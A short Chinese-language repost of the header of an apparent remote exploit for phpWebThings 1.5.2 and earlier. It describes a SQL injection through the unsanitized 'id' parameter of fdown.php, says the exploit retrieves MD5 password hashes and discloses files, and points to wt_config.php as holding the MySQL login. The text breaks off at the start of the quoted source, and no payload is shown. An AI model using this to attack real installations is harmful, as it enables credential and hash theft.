2顶一下 phpWebThings <= 1.5.2 MD5 Hash恢复/文件公开远程漏洞
注：
1，无论php.ini如何设置此漏洞都有效；
2，wt_config.php 包含mysql登录
简要说明：
phpWebThings包括一个可以让攻击者执行SQL注入攻击的缺陷。此问题由于fdown.php脚本未能恰当的处理用户提供输入的”id”变量引起。而这将可能允许攻击者注入或者执行后台数据库SQL请求。

# phpWebThings <= 1.5.2 MD5 Hash Retrieve / File Disclosure Remote Exploit #

# #
# NOTE: #
# 1. it works regardless of php.ini settings #
# 2. wt_config.php contains mysql login #
# #
# short explanation: #
# —————————————————- #
# phpWebThings contains a flaw that allows an attacker #
# to carry out an SQL injection attack. The issue is #
# due to the fdown.php script not properly sanitizing #
# user-supplied input to the ‘id’ variable. This may #
# allow an attacker to inject or manipulate #
# SQL queries in the backend database (php.ini indep) #
# —————————————————- #
# #
# [file: fdown.php] #

# <?php #
# include_once(“core/main.php”); #
